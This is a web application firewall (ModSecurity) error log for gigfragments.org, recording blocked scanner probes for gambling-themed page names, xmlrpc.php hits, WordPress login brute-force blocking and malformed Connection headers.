[Sun Feb 08 00:57:58.582129 2026] [:error] [pid 17001:tid 17019] [client 51.195.103.76:9530] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aYdvFt0X31QDRSlPKmRkYAAAAYM"]
[Sun Feb 08 00:58:42.694013 2026] [:error] [pid 16829:tid 16850] [client 51.195.103.76:5798] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYdvQgQFls00VxRngXugYgAAAUk"]
[Sun Feb 08 00:58:44.586873 2026] [:error] [pid 62342:tid 62446] [client 51.195.103.76:5804] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYdvROwzANoqjscwU_69iAAAAJE"]
[Sun Feb 08 00:58:46.614432 2026] [:error] [pid 46302:tid 46363] [client 51.195.103.76:5816] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYdvRuLz0c8aDYK5YhbISwAAAQw"]
[Sun Feb 08 00:58:48.543274 2026] [:error] [pid 62340:tid 62390] [client 51.195.103.76:5824] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYdvSAp6H49g9bqshiuBcgAAAA8"]
[Sun Feb 08 00:58:50.530062 2026] [:error] [pid 62340:tid 62380] [client 51.195.103.76:5830] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYdvSgp6H49g9bqshiuBeAAAAAU"]
[Sun Feb 08 00:58:52.431659 2026] [:error] [pid 17001:tid 17039] [client 51.195.103.76:17250] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYdvTN0X31QDRSlPKmRkvwAAAZc"]
[Sun Feb 08 00:58:54.633236 2026] [:error] [pid 17001:tid 17023] [client 51.195.103.76:17256] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYdvTt0X31QDRSlPKmRkwwAAAYc"]
[Sun Feb 08 00:58:56.520500 2026] [:error] [pid 17001:tid 17028] [client 51.195.103.76:17262] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYdvUN0X31QDRSlPKmRkxAAAAYw"]
[Sun Feb 08 00:58:58.596189 2026] [:error] [pid 17001:tid 17040] [client 51.195.103.76:17278] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYdvUt0X31QDRSlPKmRkxwAAAZg"]
[Sun Feb 08 00:59:00.610950 2026] [:error] [pid 62342:tid 62434] [client 51.195.103.76:17282] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYdvVOwzANoqjscwU_69mAAAAIU"]
[Sun Feb 08 00:59:02.632088 2026] [:error] [pid 62641:tid 62644] [client 51.195.103.76:34690] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYdvVi_seVuUK_C4AppfNQAAAME"]
[Sun Feb 08 00:59:04.588979 2026] [:error] [pid 62340:tid 62398] [client 51.195.103.76:34700] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYdvWAp6H49g9bqshiuBfwAAABc"]
[Sun Feb 08 00:59:06.659513 2026] [:error] [pid 16829:tid 16845] [client 51.195.103.76:34702] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYdvWgQFls00VxRngXugfQAAAUQ"]
[Sun Feb 08 00:59:08.579695 2026] [:error] [pid 62342:tid 62430] [client 51.195.103.76:34706] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYdvXOwzANoqjscwU_69owAAAIE"]
[Sun Feb 08 00:59:10.622873 2026] [:error] [pid 17001:tid 17034] [client 51.195.103.76:34710] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYdvXt0X31QDRSlPKmRk3gAAAZI"]
[Sun Feb 08 00:59:12.472701 2026] [:error] [pid 46302:tid 46356] [client 51.195.103.76:64668] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYdvYOLz0c8aDYK5YhbIVQAAAQY"]
[Sun Feb 08 00:59:14.500441 2026] [:error] [pid 16829:tid 16859] [client 51.195.103.76:64680] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYdvYgQFls00VxRngXuggQAAAVI"]
[Sun Feb 08 00:59:16.408782 2026] [:error] [pid 62641:tid 62649] [client 51.195.103.76:64686] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYdvZC_seVuUK_C4AppfQwAAAMY"]
[Sun Feb 08 00:59:18.433319 2026] [:error] [pid 62342:tid 62453] [client 51.195.103.76:64690] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYdvZuwzANoqjscwU_690wAAAJg"]
[Sun Feb 08 00:59:20.455900 2026] [:error] [pid 62342:tid 62447] [client 51.195.103.76:64692] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYdvaOwzANoqjscwU_691wAAAJI"]
[Sun Feb 08 00:59:22.390646 2026] [:error] [pid 62341:tid 62412] [client 51.195.103.76:3400] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYdvap-t2yekx5OosV4eWQAAAEo"]
[Sun Feb 08 00:59:24.451151 2026] [:error] [pid 62341:tid 62422] [client 51.195.103.76:3410] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYdvbJ-t2yekx5OosV4eXgAAAFQ"]
[Sun Feb 08 00:59:26.500454 2026] [:error] [pid 17001:tid 17034] [client 51.195.103.76:3414] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYdvbt0X31QDRSlPKmRk7gAAAZI"]
[Sun Feb 08 00:59:28.383338 2026] [:error] [pid 62641:tid 62643] [client 51.195.103.76:3422] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYdvcC_seVuUK_C4AppfiwAAAMA"]
[Sun Feb 08 00:59:30.389950 2026] [:error] [pid 17001:tid 17039] [client 51.195.103.76:3424] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYdvct0X31QDRSlPKmRk-AAAAZc"]
[Sun Feb 08 00:59:33.372433 2026] [:error] [pid 62341:tid 62415] [client 51.195.103.76:9142] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYdvdZ-t2yekx5OosV4eawAAAE0"]
[Sun Feb 08 00:59:35.301108 2026] [:error] [pid 62641:tid 62644] [client 51.195.103.76:9152] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYdvdy_seVuUK_C4AppfpAAAAME"]
[Sun Feb 08 00:59:37.320620 2026] [:error] [pid 62340:tid 62380] [client 51.195.103.76:9158] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYdveQp6H49g9bqshiuBrAAAAAU"]
[Sun Feb 08 01:06:29.156617 2026] [:error] [pid 62340:tid 62384] [client 101.0.79.10:57944] [client 101.0.79.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.0.79.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYdxFQp6H49g9bqshiuDTwAAAAk"]
[Sun Feb 08 01:14:42.570165 2026] [:error] [pid 17001:tid 17024] [client 69.57.172.96:47186] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYdzAt0X31QDRSlPKmRrwAAAAYg"]
[Sun Feb 08 02:21:43.094527 2026] [:error] [pid 62341:tid 62418] [client 107.136.207.122:54992] [client 107.136.207.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.136.207.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeCt5-t2yekx5OosV4v6AAAAFA"]
[Sun Feb 08 02:56:52.111383 2026] [:error] [pid 46302:tid 46352] [client 121.229.185.160:49520] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYeK9OLz0c8aDYK5YhbjnQAAAQI"]
[Sun Feb 08 03:17:21.592824 2026] [:error] [pid 17001:tid 17028] [client 54.224.44.213:51990] [client 54.224.44.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.224.44.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYePwd0X31QDRSlPKmSUxAAAAYw"]
[Sun Feb 08 03:17:21.592883 2026] [:error] [pid 17001:tid 17028] [client 54.224.44.213:51990] [client 54.224.44.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 54.224.44.213 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYePwd0X31QDRSlPKmSUxAAAAYw"]
[Sun Feb 08 03:39:40.032714 2026] [:error] [pid 16694:tid 16708] [client 63.250.33.123:47160] [client 63.250.33.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.250.33.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeU_HtiGhdQ0jvT10gDSwAAAMw"]
[Sun Feb 08 03:49:33.759796 2026] [:error] [pid 33783:tid 33811] [client 152.53.103.233:36212] [client 152.53.103.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.103.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeXTfPPhfAT3mBMHUnzPgAAAdM"]
[Sun Feb 08 04:35:06.370838 2026] [:error] [pid 24421:tid 24452] [client 47.251.71.191:58702] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeh-qp7cTzhX5M1IP8IIAAAABU"]
[Sun Feb 08 04:35:31.222118 2026] [:error] [pid 24422:tid 24464] [client 82.156.14.49:47282] [client 82.156.14.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.156.14.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeiEyNNjcLoSCLKhTd0vAAAAEY"]
[Sun Feb 08 04:35:43.088685 2026] [:error] [pid 24422:tid 24480] [client 212.154.75.77:63274] [client 212.154.75.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.75.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeiHyNNjcLoSCLKhTd0zwAAAFY"]
[Sun Feb 08 04:42:43.885184 2026] [:error] [pid 24423:tid 24496] [client 89.117.172.183:40166] [client 89.117.172.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.117.172.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYejw03f9n1Y0TpV5YZzdgAAAIs"]
[Sun Feb 08 04:52:29.311718 2026] [:error] [pid 56906:tid 56910] [client 63.250.33.123:54270] [client 63.250.33.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.33.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYemDfxl3WX27-WXfDiFxwAAAQI"]
[Sun Feb 08 04:52:33.132631 2026] [:error] [pid 56906:tid 56909] [client 63.250.33.123:54284] [client 63.250.33.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.33.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYemEfxl3WX27-WXfDiF1QAAAQE"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 08 05:03:03.137341 2026] [:error] [pid 24422:tid 24466] [client 203.159.81.76:60169] [client 203.159.81.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.159.81.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYeohyNNjcLoSCLKhTd_eQAAAEg"]
[Sun Feb 08 05:05:18.631399 2026] [:error] [pid 24530:tid 24552] [client 43.164.197.209:35722] [client 43.164.197.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYepDkazNRCs1GRWrh7w1wAAANQ"]
[Sun Feb 08 06:53:51.242317 2026] [:error] [pid 24422:tid 24477] [client 43.156.202.34:53948] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYfCfyNNjcLoSCLKhTekqQAAAFM"]
[Sun Feb 08 07:31:50.348562 2026] [:error] [pid 24530:tid 24551] [client 185.162.89.7:40212] [client 185.162.89.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.162.89.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfLZkazNRCs1GRWrh4flAAAANM"]
[Sun Feb 08 07:33:01.170211 2026] [:error] [pid 24422:tid 24468] [client 50.62.149.30:45054] [client 50.62.149.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.62.149.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYfLrSNNjcLoSCLKhTe0UwAAAEo"]
[Sun Feb 08 07:33:02.921905 2026] [:error] [pid 24422:tid 24466] [client 50.62.149.30:45054] [client 50.62.149.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.62.149.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYfLriNNjcLoSCLKhTe0VQAAAEg"], referer: https://gigfragments.org/wp-login.php
[Sun Feb 08 09:18:53.272872 2026] [:error] [pid 24422:tid 24476] [client 101.46.58.127:44630] [client 101.46.58.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.46.58.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfkfSNNjcLoSCLKhTffkwAAAFI"]
[Sun Feb 08 09:18:59.655746 2026] [:error] [pid 56906:tid 56917] [client 34.72.181.43:35212] [client 34.72.181.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.181.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfkg_xl3WX27-WXfDgV_QAAAQk"]
[Sun Feb 08 09:19:05.092739 2026] [:error] [pid 24423:tid 24509] [client 129.146.163.15:44860] [client 129.146.163.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.146.163.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfkiU3f9n1Y0TpV5YbSBgAAAJg"]
[Sun Feb 08 09:19:09.079818 2026] [:error] [pid 24422:tid 24472] [client 188.34.181.211:54988] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfkjSNNjcLoSCLKhTffyAAAAE4"]
[Sun Feb 08 09:19:27.282625 2026] [:error] [pid 24530:tid 24539] [client 142.93.83.180:45116] [client 142.93.83.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.83.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfkn0azNRCs1GRWrh5G-gAAAMc"]
[Sun Feb 08 09:42:01.606051 2026] [:error] [pid 24423:tid 24503] [client 173.201.183.5:18956] [client 173.201.183.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.201.183.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYfp6U3f9n1Y0TpV5YbZYgAAAJI"]
